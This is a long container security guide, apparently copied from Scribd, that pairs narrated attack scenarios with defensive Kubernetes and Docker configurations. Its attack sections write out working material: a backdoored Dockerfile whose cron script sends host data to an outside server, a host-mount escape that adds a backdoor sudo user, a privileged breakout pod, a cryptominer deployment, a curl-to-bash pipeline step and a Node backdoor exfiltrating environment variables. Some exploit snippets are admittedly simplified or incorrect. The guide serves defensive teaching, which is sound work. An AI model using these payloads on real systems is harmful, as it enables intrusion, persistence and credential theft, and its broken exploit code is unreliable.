0% found this document useful (0 votes)
28 views62 pages

Container Security: Attack & Defense Guide

This document serves as a comprehensive guide to container security, detailing the vulnerabilities and attack vectors that can compromise containerized environments. It emphasizes the importance of understanding both offensive and defensive strategies, including container image poisoning, privilege escalation, and runtime exploitation. The guide aims to equip security professionals with the knowledge to protect their infrastructures against sophisticated attacks.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
28 views62 pages

Container Security: Attack & Defense Guide

This document serves as a comprehensive guide to container security, detailing the vulnerabilities and attack vectors that can compromise containerized environments. It emphasizes the importance of understanding both offensive and defensive strategies, including container image poisoning, privilege escalation, and runtime exploitation. The guide aims to equip security professionals with the knowledge to protect their infrastructures against sophisticated attacks.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

[Link].

COM
Picture this: It's 3 AM, and your security operations center lights up like a Christmas tree. An attacker has just escalated privileges in your Kubernetes cluster, moving
laterally through containers like a digital ghost. What started as a simple web application vulnerability has now become a full-scale container breakout, threatening your
entire infrastructure.

Welcome to the modern battlefield of container security, where the stakes are measured not just in uptime and performance, but in the very survival of your digital
infrastructure. In this landscape, containers are both the castle walls that protect your applications and the potential Trojan horses that could bring down your kingdom.

This comprehensive guide will transform you from a container security observer into a battle-tested warrior, equipped with both the attacker's mindset and the defender's
arsenal. We'll explore the dark arts of container exploitation alongside the noble science of container defense, because in cybersecurity, you must think like your enemy
to protect what matters most.

Containers have revolutionized how we build, deploy, and scale applications. They've also revolutionized how attackers approach our infrastructure. Unlike traditional
virtual machines, containers share the host kernel, creating a unique attack surface where a single vulnerability can cascade across your entire environment.

Consider the statistics: According to recent security research, over 75% of organizations run vulnerable container images in production, and the average container image
contains 51 known vulnerabilities. In the world of container security, ignorance isn't bliss—it's a blueprint for disaster.

"Know your enemy and know yourself; in a hundred battles, you will never be defeated." - Sun Tzu

Before we dive into specific attack techniques, it's crucial to understand the container ecosystem's attack surface. Think of containers as interconnected cities in a vast
digital kingdom. Each city (container) has its own defenses, but they're all connected by highways (networks), share common resources (host kernel), and are governed
by the same laws (orchestration platform).

Attackers don't just target individual containers—they target the entire ecosystem, looking for weak links in the chain that can provide them with kingdom-wide access.

Imagine you're a medieval general, and instead of laying siege to a castle, you convince the defenders to open their gates and welcome your soldiers disguised as allies.
This is the essence of container image poisoning—one of the most insidious attack vectors in the container security landscape.
Figure 1.1: Container Image Poisoning Attack Flow - From malicious image creation to production compromise

Meet Sarah, a skilled attacker who specializes in supply chain attacks. Instead of breaking down walls, she builds doors that only she knows how to open. Here's how
she executes a container image poisoning attack:

Phase 1: Reconnaissance and Preparation

Sarah begins by researching popular container images in her target industry. She discovers that many financial services companies rely on a specific [Link] base
image for their microservices.

# Sarah's reconnaissance commands

docker search nodejs --limit 100

curl -s "[Link] | jq -r '.results[].name'

Phase 2: Creating the Trojan


Sarah creates a seemingly legitimate image that includes a hidden backdoor. The image appears to be a standard [Link] environment with some "helpful" additional
tools.

# Sarah's malicious Dockerfile

FROM node:18-alpine

# Install "helpful" development tools

RUN apk add --no-cache curl wget vim

# Hidden backdoor - appears to be a health check script

COPY [Link] /usr/local/bin/

RUN chmod +x /usr/local/bin/[Link]

# The backdoor script that runs every 60 seconds

RUN echo "*/1 * * * * /usr/local/bin/[Link]" | crontab -

WORKDIR /app

EXPOSE 3000

CMD ["node", "[Link]"]

The [Link] script contains the actual backdoor:

#!/bin/sh

# Appears to be a health check, but actually phones home

curl -s -H "X-Container-ID: $(hostname)" \

-H "X-Host-Info: $(uname -a)" \

"[Link] \

--data-binary @/proc/version 2>/dev/null || true

Phase 3: Distribution and Social Engineering

Sarah uses several techniques to distribute her poisoned image:

1. Typosquatting: She creates images with names similar to popular ones ( ndoejs instead of nodejs )
2. SEO Poisoning: She creates helpful blog posts and Stack Overflow answers that reference her malicious images
3. Registry Confusion: She uploads to multiple registries with slightly different names

# Sarah's distribution commands

docker tag malicious-node:latest sarahdev/node-enhanced:latest

docker push sarahdev/node-enhanced:latest

# Upload to multiple registries

docker tag malicious-node:latest [Link]/sarahdev/node-utils:latest

docker push [Link]/sarahdev/node-utils:latest

This isn't theoretical. In 2021, security researchers discovered over 1,300 malicious npm packages that used similar techniques. One package, ua-parser-js , was
downloaded over 8 million times per week and was backdoored to install cryptocurrency miners and password stealers.
Figure 1.2: Container Escape and Privilege Escalation - Breaking out of container isolation to gain host access

Container escape represents the nightmare scenario for any containerized environment. It's the moment when an attacker breaks free from the isolated prison of a
container and gains access to the underlying host system. Think of it as a prisoner not just escaping their cell, but taking control of the entire prison.

Let's follow Marcus, an experienced penetration tester, as he demonstrates how a simple web application vulnerability can lead to complete host compromise.

Phase 1: Initial Foothold

Marcus starts with a web application running in a container. He discovers a command injection vulnerability in a file upload feature.
# Initial payload to confirm command execution

curl -X POST [Link] \

-F "file=@[Link]" \

-F "filename=[Link]; id; echo 'COMMAND_INJECTION_SUCCESS'"

Phase 2: Container Environment Enumeration

Once Marcus has command execution, he begins gathering intelligence about the container environment.

# Check if running in a container

cat /proc/1/cgroup | grep -i docker

ls -la /.dockerenv

# Check current user and capabilities

id

cat /proc/self/status | grep Cap

# Enumerate mounted filesystems

mount | grep -E "(proc|sys|dev)"

df -h

# Check for Docker socket access

ls -la /var/run/[Link]

# Look for privileged mode indicators

cat /proc/self/status | grep NoNewPrivs

capsh --print

Phase 3: Discovering the Escape Route

Marcus discovers that the container is running in privileged mode—a critical misconfiguration that essentially gives the container root access to the host.

# Check if container is privileged

cat /proc/self/status | grep CapEff

# If CapEff shows all f's (ffffffffffffffff), container is privileged

# Verify privileged mode

if [ -c /dev/kmsg ]; then

echo "Container is privileged - host devices accessible"

fi

Phase 4: The Great Escape

With privileged access confirmed, Marcus can now access host devices and mount the host filesystem.

# List available block devices

lsblk

fdisk -l
# Mount the host filesystem

mkdir /mnt/host

mount /dev/sda1 /mnt/host

# Now Marcus has full access to the host filesystem

ls -la /mnt/host/

Phase 5: Establishing Persistence

Marcus installs a backdoor on the host system to maintain access.

# Create a backdoor user on the host

chroot /mnt/host /bin/bash -c "useradd -m -s /bin/bash marcus_backdoor"

chroot /mnt/host /bin/bash -c "echo 'marcus_backdoor:secretpass' | chpasswd"

chroot /mnt/host /bin/bash -c "usermod -aG sudo marcus_backdoor"

# Install SSH key for persistent access

mkdir -p /mnt/host/home/marcus_backdoor/.ssh

echo "ssh-rsa AAAAB3NzaC1yc2EAAAA... marcus@attacker" > /mnt/host/home/marcus_backdoor/.ssh/authorized_keys

chroot /mnt/host chown -R marcus_backdoor:marcus_backdoor /home/marcus_backdoor/.ssh


Figure 1.3: Kubernetes RBAC Exploitation - Privilege escalation through misconfigured role-based access controls

In Kubernetes environments, Role-Based Access Control (RBAC) is supposed to be the guardian that decides who can do what. But when RBAC is misconfigured, it
becomes the very key that attackers use to unlock the kingdom.

Let's see how Elena, a sophisticated attacker, exploits RBAC misconfigurations to gain cluster-wide access.

Phase 1: Service Account Discovery

Elena starts by examining the service account token mounted in her compromised pod.

# Check current service account

cat /var/run/secrets/[Link]/serviceaccount/namespace

cat /var/run/secrets/[Link]/serviceaccount/token

# Set up kubectl with the service account token

export TOKEN=$(cat /var/run/secrets/[Link]/serviceaccount/token)

export NAMESPACE=$(cat /var/run/secrets/[Link]/serviceaccount/namespace)

export APISERVER=[Link]

Phase 2: RBAC Enumeration

Elena probes the API server to understand her current permissions.


# Check what the current service account can do

kubectl auth can-i --list --token=$TOKEN --server=$APISERVER

# Check for dangerous permissions

kubectl auth can-i create pods --token=$TOKEN --server=$APISERVER

kubectl auth can-i get secrets --token=$TOKEN --server=$APISERVER

kubectl auth can-i "*" "*" --token=$TOKEN --server=$APISERVER

Phase 3: Privilege Escalation

Elena discovers that her service account can create pods in any namespace—a dangerous permission that she exploits to create a privileged pod.

# Elena's malicious pod specification

apiVersion: v1

kind: Pod

metadata:

name: breakout-pod

namespace: kube-system

spec:

hostNetwork: true

hostPID: true

containers:

- name: breakout

image: alpine:latest

command: ["/bin/sh"]

args: ["-c", "sleep 3600"]

securityContext:

privileged: true

volumeMounts:

- name: host-root

mountPath: /host

volumes:

- name: host-root

hostPath:

path: /

type: Directory

# Deploy the malicious pod

kubectl apply -f [Link] --token=$TOKEN --server=$APISERVER

# Execute commands in the privileged pod

kubectl exec -it breakout-pod -n kube-system -- chroot /host


Figure 1.4: Runtime Exploitation and Memory Attacks - Memory corruption attacks and runtime exploitation techniques

Not all container attacks rely on misconfigurations. Sometimes, attackers exploit vulnerabilities in the applications themselves or even in the container runtime. These
attacks are particularly dangerous because they can bypass many traditional container security measures.

Consider the case of CVE-2022-0847 (Dirty Pipe), a Linux kernel vulnerability that allowed containers to write to read-only files and potentially escape their isolated
environment.

Phase 1: Vulnerability Discovery

An attacker discovers a memory corruption vulnerability in a containerized application.

// Simplified example of a vulnerable C function

void process_user_input(char *input) {

char buffer[256];

strcpy(buffer, input); // Buffer overflow vulnerability

// Process buffer...

Phase 2: Exploit Development

The attacker crafts a payload that exploits this vulnerability to gain code execution within the container.
# Python exploit framework

import struct

import socket

def create_exploit_payload():

# ROP chain to bypass ASLR and DEP

rop_chain = b"A" * 264 # Overflow buffer

rop_chain += [Link]("<Q", 0x401234) # ROP gadget address

rop_chain += [Link]("<Q", 0x7ffff7a52390) # system() address

rop_chain += b"/bin/sh\x00"

return rop_chain

def send_exploit(target_ip, target_port):

payload = create_exploit_payload()

sock = [Link](socket.AF_INET, socket.SOCK_STREAM)

[Link]((target_ip, target_port))

[Link](payload)

[Link]()

Phase 3: Container Runtime Exploitation

With code execution achieved, the attacker targets the container runtime itself, looking for ways to escape the namespace isolation.

# Exploit example: Dirty Pipe vulnerability

# Create a temporary file and exploit the pipe vulnerability

echo "#!/bin/sh\nchmod 777 /etc/passwd" > /tmp/[Link]

chmod +x /tmp/[Link]

# Use the Dirty Pipe exploit to overwrite a setuid binary

./dirty_pipe_exploit /usr/bin/su /tmp/[Link]

"The best defense is a good offense, but the best offense is an even better defense." - Modern DevSecOps Wisdom

Now that we've walked through the dark side of container security, let's switch perspectives and explore how defenders can build impenetrable fortresses around their
containerized applications. Think of this chapter as your military academy training—we'll equip you with strategies, tools, and tactics that can withstand even the most
sophisticated attacks.
Figure 2.1: Image Security and Supply Chain Protection - Comprehensive image security and supply chain protection strategies

The first line of defense in container security begins at the source—your container images. Just as a castle's strength depends on the quality of its stones, your container
security depends on the integrity and security of your base images.

Multi-Stage Scanning Strategy

# Pre-build scanning with Grype

grype dir:/app/source-code -o json > [Link]

# Post-build image scanning

grype myapp:latest -o sarif > [Link]

# Registry scanning with Trivy

trivy image --format json myapp:latest > [Link]

Advanced Scanning Configuration

# .[Link] - Advanced Grype configuration

exclude:

# Ignore low-severity vulnerabilities in development

- severity: "Low"

namespace: "npm"

# Ignore false positives

- vulnerability: "CVE-2023-12345"

reason: "False positive - not exploitable in our context"

# Define custom severity thresholds

fail-on-severity: "Medium"

# Configure database updates

db:

auto-update: true

cache-dir: "/tmp/grype-cache"

Setting Up Cosign for Image Signing

# Generate signing keys

cosign generate-key-pair

# Sign your images

cosign sign --key [Link] [Link]/myapp:latest

# Verify signatures before deployment


cosign verify --key [Link] [Link]/myapp:latest

Policy-Based Verification with OPA

# [Link]

package [Link]

import [Link].image_signatures

deny[msg] {

[Link] == "Pod"

image := [Link][_].image

not image_signatures.verified[image]

msg := sprintf("Image %v is not signed or signature verification failed", [image])

}
Figure 2.2: Runtime Security and Monitoring - Comprehensive runtime security monitoring and behavioral analysis

While image scanning catches known vulnerabilities, runtime security monitors your containers for suspicious behavior and zero-day exploits that static analysis might
miss.
File Access Monitoring

# [Link]

apiVersion: [Link]/v1alpha1

kind: TracingPolicy

metadata:

name: file-access-monitor

spec:

kprobes:

- call: "security_file_open"

syscall: false

args:

- index: 0

type: "file"

selectors:

- matchArgs:

- index: 0

operator: "Prefix"

values:

- "/etc/passwd"

- "/etc/shadow"

- "/etc/ssh/"

- matchActions:

- action: Post

kernelStackTrace: true

userStackTrace: true

Network Activity Monitoring

# [Link]

apiVersion: [Link]/v1alpha1

kind: TracingPolicy

metadata:

name: network-monitoring

spec:

tracepoints:

- subsystem: "syscalls"

event: "sys_enter_connect"

args:

- index: 0

type: "int"

- index: 1

type: "sockaddr"

selectors:
- matchArgs:

- index: 1

operator: "NotEqual"

values:

- "family=AF_UNIX"

Custom Falco Rules for Container Security

# [Link]

- rule: Unexpected outbound connection

desc: Detect unexpected outbound network connections from containers

condition: >

(outbound_connection

and container

and not [Link] in (curl, wget, apt, yum, pip)

and not [Link] in (company_dns_servers, allowed_external_ips))

output: >

Unexpected outbound connection

(user=%[Link] command=%[Link] connection=%[Link]

container=%[Link] image=%[Link])

priority: WARNING

- rule: Container privilege escalation

desc: Detect attempts to escalate privileges within containers

condition: >

spawned_process

and container

and ([Link] in (su, sudo, doas)

or [Link] contains "sudo"

or [Link] contains "su -")

output: >

Privilege escalation attempt detected

(user=%[Link] command=%[Link] container=%[Link])

priority: HIGH
Figure 2.3: Zero Trust Architecture Implementation - Comprehensive zero trust security architecture for containers

Zero trust represents a fundamental shift in security thinking—from "trust but verify" to "never trust, always verify." In container environments, this means treating every
container, service, and communication as potentially hostile until proven otherwise.

Implementing Mutual TLS

# [Link]

apiVersion: [Link]/v1beta1

kind: PeerAuthentication

metadata:

name: default

namespace: production

spec:

mtls:

mode: STRICT

---

apiVersion: [Link]/v1beta1

kind: AuthorizationPolicy

metadata:

name: deny-all

namespace: production
spec:

rules: [] # This denies all traffic by default

---

apiVersion: [Link]/v1beta1

kind: AuthorizationPolicy

metadata:

name: allow-frontend-to-backend

namespace: production

spec:

selector:

matchLabels:

app: backend

rules:

- from:

- source:

principals: ["[Link]/ns/production/sa/frontend"]

- to:

- operation:

methods: ["GET", "POST"]

paths: ["/api/*"]

Implementing Security Policies

# [Link]

apiVersion: [Link]/v1beta1

kind: ConstraintTemplate

metadata:

name: k8srequiredsecuritycontext

spec:

crd:

spec:

names:

kind: K8sRequiredSecurityContext

validation:

openAPIV3Schema:

type: object

properties:

allowPrivilegeEscalation:

type: boolean

runAsNonRoot:

type: boolean

readOnlyRootFilesystem:

type: boolean
targets:

- target: [Link]

rego: |

package k8srequiredsecuritycontext

violation[{"msg": msg}] {

container := [Link][_]

not [Link] == false

msg := "Container must set allowPrivilegeEscalation to false"

violation[{"msg": msg}] {

container := [Link][_]

not [Link] == true

msg := "Container must run as non-root user"

}
Figure 2.4: Secrets Management and Encryption - Comprehensive secrets lifecycle management and encryption strategies

Secrets management in containerized environments requires a sophisticated approach that goes beyond simply avoiding hardcoded passwords. It's about creating a
comprehensive ecosystem where secrets are protected throughout their entire lifecycle.
Dynamic Secret Generation

# [Link]

import hvac

import schedule

import time

def rotate_database_credentials():

client = [Link](url='[Link]

[Link] = 'vault-token'

# Generate new database credentials

response = [Link].generate_credentials(

name='postgres-role',

mount_point='database'

new_credentials = response['data']

# Update Kubernetes secret

update_k8s_secret(new_credentials)

return new_credentials

def update_k8s_secret(credentials):

import base64

from kubernetes import client, config

config.load_incluster_config()

v1 = client.CoreV1Api()

# Create secret data

secret_data = {

'username': base64.b64encode(credentials['username'].encode()).decode(),

'password': base64.b64encode(credentials['password'].encode()).decode()

# Update the secret

v1.patch_namespaced_secret(

name='database-credentials',

namespace='production',

body={'data': secret_data}

# Schedule rotation every 24 hours

[Link](24).[Link](rotate_database_credentials)

# [Link]

apiVersion: [Link]/v1beta1
kind: SecretStore

metadata:

name: vault-backend

namespace: production

spec:

provider:

vault:

server: "[Link]

path: "secret"

version: "v2"

auth:

kubernetes:

mountPath: "kubernetes"

role: "production-role"

---

apiVersion: [Link]/v1beta1

kind: ExternalSecret

metadata:

name: database-secret

namespace: production

spec:

refreshInterval: 1h

secretStoreRef:

name: vault-backend

kind: SecretStore

target:

name: database-credentials

creationPolicy: Owner

data:

- secretKey: username

remoteRef:

key: database/config

property: username

- secretKey: password

remoteRef:

key: database/config

property: password

In this chapter, we'll compare two architectural approaches side by side—one that's a security nightmare and another that represents the gold standard of container
security. Think of this as the architectural equivalent of comparing a house made of straw to a fortress made of reinforced steel.

Note: This represents an insecure architecture pattern that should be avoided. The following sections demonstrate common security mistakes.
Let's examine a fictional company, "VulnCorp," whose container architecture serves as a perfect example of what not to do.

1. Image Management Chaos

# VulnCorp's typical Dockerfile - A security nightmare

FROM ubuntu:latest # Using latest tag - no version control

RUN apt-get update && apt-get install -y \

curl wget vim nano ssh git sudo # Installing unnecessary tools

# Running as root user

USER root

WORKDIR /app

# Hardcoded secrets (never do this!)

ENV DATABASE_PASSWORD=supersecret123

ENV API_KEY=abc123xyz789

# Installing from random sources

RUN curl -sSL [Link] | bash

# No health checks or proper startup

CMD ["./[Link]"]

2. Deployment Configuration Disasters

# [Link] - Everything wrong

apiVersion: apps/v1

kind: Deployment

metadata:

name: vulncorp-app

spec:

replicas: 1

selector:

matchLabels:

app: vulncorp

template:

metadata:

labels:

app: vulncorp

spec:

# No service account specification - uses default

containers:

- name: app

image: vulncorp/app:latest # Latest tag again

ports:

- containerPort: 80
securityContext:

privileged: true # Running privileged - major security risk

runAsRoot: true # Running as root

allowPrivilegeEscalation: true

volumeMounts:

- name: host-root

mountPath: /host # Mounting entire host filesystem

env:

- name: ADMIN_PASSWORD

value: "admin123" # Hardcoded secret in plain text

volumes:

- name: host-root

hostPath:

path: / # Exposing entire host filesystem

3. Network Security Nightmare

# No network policies - everything can talk to everything

apiVersion: v1

kind: Service

metadata:

name: vulncorp-service

spec:

type: LoadBalancer # Exposing directly to internet

ports:

- port: 80

targetPort: 80

- port: 22 # SSH exposed to internet

targetPort: 22

- port: 3306 # Database port exposed

targetPort: 3306

selector:

app: vulncorp

This architecture demonstrates security best practices that should be implemented in production environments.

Now let's look at "SecureCorp," a company that implements container security best practices at every level.

1. Secure Image Pipeline

# SecureCorp's secure Dockerfile

FROM node:18.17.0-alpine3.18 AS builder # Specific, minimal base image

WORKDIR /app

COPY package*.json ./

RUN npm ci --only=production && npm cache clean --force


FROM [Link]/distroless/nodejs18-debian11 # Distroless final image

WORKDIR /app

COPY --from=builder /app/node_modules ./node_modules

COPY --from=builder --chown=nonroot:nonroot /app .

USER nonroot # Non-root user

EXPOSE 3000

HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \

CMD curl -f [Link] || exit 1

CMD ["[Link]"]

2. Secure Deployment Configuration

# [Link] - Security best practices

apiVersion: apps/v1

kind: Deployment

metadata:

name: securecorp-app

namespace: production

labels:

app: securecorp

version: v1.2.3

spec:

replicas: 3

selector:

matchLabels:

app: securecorp

version: v1.2.3

template:

metadata:

labels:

app: securecorp

version: v1.2.3

annotations:

# Image signature verification

[Link]/signature: "verified"

spec:

serviceAccountName: securecorp-sa # Dedicated service account

securityContext:

runAsNonRoot: true

runAsUser: 65534

fsGroup: 65534

seccompProfile:

type: RuntimeDefault
containers:

- name: app

image: [Link]/app:v1.2.3@sha256:abc123... # Immutable tag

ports:

- containerPort: 3000

name: http

protocol: TCP

securityContext:

allowPrivilegeEscalation: false

readOnlyRootFilesystem: true

runAsNonRoot: true

runAsUser: 65534

resources:

requests:

memory: "64Mi"

cpu: "250m"

limits:

memory: "128Mi"

cpu: "500m"

livenessProbe:

httpGet:

path: /health

port: 3000

initialDelaySeconds: 30

readinessProbe:

httpGet:

path: /ready

port: 3000

initialDelaySeconds: 5

periodSeconds: 5

env:

- name: NODE_ENV

value: "production"

- name: DB_PASSWORD

valueFrom:

secretKeyRef:

name: database-secret

key: password

volumeMounts:

- name: tmp

mountPath: /tmp

- name: app-config

mountPath: /app/config
readOnly: true

volumes:

- name: tmp

emptyDir: {}

- name: app-config

configMap:

name: securecorp-config

nodeSelector:

[Link]/os: linux

[Link]/worker: "true"

tolerations:

- key: "dedicated"

operator: "Equal"

value: "securecorp"

effect: "NoSchedule"

3. Network Security Implementation

# [Link] - Secure network isolation

apiVersion: [Link]/v1

kind: NetworkPolicy

metadata:

name: securecorp-netpol

namespace: production

spec:

podSelector:

matchLabels:

app: securecorp

policyTypes:

- Ingress

- Egress

ingress:

- from:

- namespaceSelector:

matchLabels:

name: frontend

- podSelector:

matchLabels:

app: api-gateway

ports:

- protocol: TCP

port: 3000

egress:

- to:
- namespaceSelector:

matchLabels:

name: database

ports:

- protocol: TCP

port: 5432

- to: [] # Allow DNS

ports:

- protocol: UDP

port: 53

Security Aspect VulnCorp (Insecure) SecureCorp (Secure)


Image Vulnerabilities 847 known CVEs 12 known CVEs
Attack Surface Full OS + Tools Minimal runtime only
Container Escapes Trivial (privileged mode) Extremely difficult
Secret Exposure Hardcoded in images External secret management
Network Exposure Everything accessible Microsegmented
Monitoring None Full runtime visibility
Compliance Fails all standards Meets SOC2, PCI DSS
Mean Time to Compromise < 5 minutes > 180 days

"Those who cannot remember the past are condemned to repeat it." - George Santayana

In this chapter, we'll examine real-world container security incidents that made headlines, analyzing what went wrong and how proper security measures could have
prevented disaster. These aren't theoretical scenarios—they're actual battles fought in the container security wars.

In February 2018, security researchers discovered that Tesla's Kubernetes console was breached by attackers who deployed cryptocurrency mining malware across
their container infrastructure. This incident serves as a perfect example of how a single misconfiguration can lead to widespread compromise.

Day 0: The Discovery

Tesla's Kubernetes dashboard was left unsecured and accessible without authentication
Attackers discovered the exposed dashboard through automated scanning
No network segmentation prevented access from the internet

Day 1: Initial Compromise

# What the attackers did - simplified recreation

kubectl create namespace cryptomining

kubectl create deployment -n cryptomining miner --image=malicious/cryptominer:latest

kubectl scale deployment -n cryptomining miner --replicas=50

Day 2-30: Stealth Operations

Attackers configured their mining software to operate at low CPU usage to avoid detection
They used Tesla's own container orchestration to scale their operation
The mining operation remained undetected for approximately one month

Exposed Kubernetes Dashboard

# Tesla's misconfiguration (reconstructed)


apiVersion: v1

kind: Service

metadata:

name: kubernetes-dashboard

namespace: kube-system

spec:

type: LoadBalancer # This exposed the dashboard to the internet

ports:

- port: 80

targetPort: 9090

selector:

app: kubernetes-dashboard

Malicious Deployment

# Attacker's cryptocurrency mining deployment

apiVersion: apps/v1

kind: Deployment

metadata:

name: system-monitor # Deceptive name

namespace: kube-system

spec:

replicas: 10

selector:

matchLabels:

app: system-monitor

template:

metadata:

labels:

app: system-monitor

spec:

containers:

- name: monitor

image: [Link]/miner:latest

resources:

requests:

cpu: "0.1" # Low CPU to avoid detection

memory: "50Mi"

limits:

cpu: "0.5"

memory: "100Mi"

env:

- name: POOL_ADDRESS

value: "stratum+tcp://[Link]"
- name: WALLET_ADDRESS

value: "attacker-monero-wallet-address"

1. Dashboard Security

# Proper Kubernetes dashboard configuration

apiVersion: v1

kind: Service

metadata:

name: kubernetes-dashboard

namespace: kubernetes-dashboard

spec:

type: ClusterIP # Internal access only

ports:

- port: 443

targetPort: 8443

protocol: TCP

selector:

k8s-app: kubernetes-dashboard

---

apiVersion: [Link]/v1

kind: NetworkPolicy

metadata:

name: dashboard-netpol

namespace: kubernetes-dashboard

spec:

podSelector:

matchLabels:

k8s-app: kubernetes-dashboard

policyTypes:

- Ingress

ingress:

- from:

- namespaceSelector:

matchLabels:

name: admin-tools

2. Resource Monitoring and Alerting

# Prometheus alert for unusual CPU usage

groups:

- name: container-security

rules:
- alert: UnexpectedCPUUsage

expr: rate(container_cpu_usage_seconds_total[5m]) > 0.8

for: 5m

labels:

severity: warning

annotations:

summary: "High CPU usage detected in container {{ $[Link] }}"

description: "Container {{ $[Link] }} in namespace {{ $[Link] }} has been using high CPU for more than 5 minutes."

In February 2019, a critical vulnerability was discovered in the runc container runtime that allowed attackers to escape from containers and gain host-level access. This
vulnerability affected millions of containers worldwide and highlighted the importance of runtime security.

Technical Details

The vulnerability existed in runc's handling of file descriptors during container execution. An attacker could overwrite the host's runc binary by manipulating the
/proc/self/exe symlink.

# Simplified exploit demonstration

# Step 1: Create a malicious binary

cat > /tmp/malicious_runc << 'EOF'

#!/bin/bash

# This would be the attacker's payload

echo "Container escaped!" > /host/[Link]

chmod 777 /host/etc/passwd

EOF

# Step 2: Trigger the vulnerability (simplified)

# The actual exploit was more complex, involving race conditions

# and careful timing of file descriptor manipulation

exec 3< /proc/self/exe

exec /tmp/malicious_runc

Affected Systems:

Docker versions < 18.09.2


containerd versions < 1.2.2
CRI-O versions < 1.13.0
Kubernetes environments using vulnerable runtimes

Attack Scenario:

# Proof-of-concept exploit (educational purposes)

import os

import subprocess

import time

def trigger_runc_escape():

# Create malicious payload


payload = """#!/bin/bash

# Escalate privileges on host

useradd -m -s /bin/bash attacker

echo 'attacker:password' | chpasswd

usermod -aG sudo attacker

"""

with open('/tmp/[Link]', 'w') as f:

[Link](payload)

[Link]('/tmp/[Link]', 0o755)

# Trigger the vulnerability through container execution

# (actual exploit involved complex file descriptor manipulation)

[Link](['/tmp/[Link]'])

# This is a simplified representation

# The actual exploit was far more sophisticated

1. Runtime Updates

# Update to patched versions

docker --version # Should be >= 18.09.2

containerd --version # Should be >= 1.2.2

# For Kubernetes

kubectl get nodes -o wide # Check runtime versions

2. Runtime Security Monitoring

# Falco rule to detect potential runc exploits

- rule: Potential runc exploit

desc: Detect potential exploitation of runc vulnerabilities

condition: >

spawned_process

and [Link] = runc

and [Link] contains "exec"

and [Link] contains "/proc/self/exe"

output: >

Potential runc exploit detected

(user=%[Link] command=%[Link])

priority: CRITICAL

3. Container Runtime Hardening

# CRI-O configuration for additional security

apiVersion: v1

kind: ConfigMap
metadata:

name: crio-config

data:

[Link]: |

[[Link]]

default_runtime = "runc"

no_pivot = false

[[Link]]

runtime_path = "/usr/bin/runc"

runtime_type = "oci"

runtime_root = "/run/runc"

# Additional security options

[[Link]]

activation_annotation = "[Link]"

runtime_handler = "trusted"

runtime_path = "/usr/bin/kata-runtime"

While the SolarWinds attack primarily targeted traditional software, it highlighted vulnerabilities in software supply chains that directly apply to container security. Let's
examine how a similar attack could unfold in a containerized environment.

Phase 1: Compromising the Build Pipeline

# Attacker modifies CI/CD pipeline

name: Build and Push Container

on:

push:

branches: [ main ]

jobs:

build:

runs-on: ubuntu-latest

steps:

- uses: actions/checkout@v2

# Malicious step inserted by attacker

- name: Download dependencies

run: |

curl -s [Link] | bash

- name: Build container

run: |

docker build -t myapp:latest .

- name: Push to registry

run: |

docker push [Link]/myapp:latest


Phase 2: Backdoor Implementation

# [Link] - Injected into the build process

#!/bin/bash

# This appears to be a legitimate optimization script

# Hidden backdoor functionality

cat << 'EOF' >> /app/[Link]

// Appears to be legitimate health check code

setInterval(() => {

const crypto = require('crypto');

const https = require('https');

// Hidden backdoor communication

const data = {

hostname: require('os').hostname(),

env: [Link],

timestamp: [Link]()

};

const encrypted = [Link](ATTACKER_PUBLIC_KEY, [Link]([Link](data)));

[Link]({

hostname: '[Link]',

path: '/metrics',

method: 'POST',

headers: { 'Content-Type': 'application/octet-stream' }

}).end(encrypted);

}, 86400000); // Once per day

EOF

1. Supply Chain Verification

# Verify build reproducibility

docker build --build-arg BUILD_ID=$(date +%s) -t myapp:test .

docker build --build-arg BUILD_ID=$(date +%s) -t myapp:test2 .

# Compare image layers

docker history myapp:test

docker history myapp:test2

# Use in-toto for supply chain verification

in-toto-run --step-name build --products [Link] --key build-key -- docker build .

2. Enhanced CI/CD Security

# Secure GitHub Actions workflow


name: Secure Build Pipeline

on:

push:

branches: [ main ]

jobs:

security-scan:

runs-on: ubuntu-latest

steps:

- uses: actions/checkout@v3

with:

token: ${{ secrets.READONLY_TOKEN }}

# Verify no unauthorized changes

- name: Verify pipeline integrity

run: |

sha256sum .github/workflows/*.yml > current_checksums

diff current_checksums expected_checksums

# Scan for secrets before build

- name: Secret scanning

uses: trufflesecurity/trufflehog@main

with:

path: ./

# Build in isolated environment

- name: Build container

run: |

docker build --no-cache --network none -t myapp:${{ [Link] }} .

# Sign the built image

- name: Sign container image

uses: sigstore/cosign-installer@v3

- run: |

cosign sign --key ${{ secrets.COSIGN_PRIVATE_KEY }} myapp:${{ [Link] }}

This comprehensive cheatsheet serves as your quick reference guide for container security. Whether you're responding to an incident, implementing new security
controls, or conducting a security audit, this section provides the commands, configurations, and best practices you need at your fingertips.

# Vulnerability Scanning

grype <image>:<tag> # Scan with Grype

trivy image <image>:<tag> # Scan with Trivy

clair-scanner <image>:<tag> # Scan with Clair

docker scan <image>:<tag> # Docker's built-in scanning


# Image Information

docker inspect <image>:<tag> # Detailed image information

docker history <image>:<tag> # Image layer history

dive <image>:<tag> # Interactive layer analysis

# SBOM Generation

syft <image>:<tag> # Generate Software Bill of Materials

grype sbom:<[Link]> # Scan SBOM for vulnerabilities

# Container Process Analysis

docker ps --format "table {{.Names}}\t{{.Image}}\t{{.Status}}"

docker stats --no-stream # Resource usage snapshot

docker top <container> # Process list in container

# Host-Level Container Analysis

ps aux | grep docker # Docker processes on host

ls -la /var/lib/docker/containers/ # Container filesystem locations

netstat -tulpn | grep docker # Docker network connections

# Kubernetes Security Assessment

kubectl get pods --all-namespaces -o wide

kubectl get networkpolicies --all-namespaces

kubectl get psp # Pod Security Policies (deprecated)

kubectl get pss # Pod Security Standards

# Run containers with security best practices

docker run -d \

--name secure-app \

--user 1000:1000 \ # Non-root user

--read-only \ # Read-only filesystem

--tmpfs /tmp:rw,noexec,nosuid,size=1G \ # Writable tmp with restrictions

--cap-drop ALL \ # Drop all capabilities

--cap-add NET_BIND_SERVICE \ # Add only required capabilities

--security-opt no-new-privileges \ # Prevent privilege escalation

--memory 512m \ # Memory limit

--cpus 0.5 \ # CPU limit

--restart on-failure:3 \ # Restart policy

myapp:latest
# Docker Compose security configuration

version: '3.8'

services:

app:

image: myapp:latest

user: "1000:1000"

read_only: true

tmpfs:

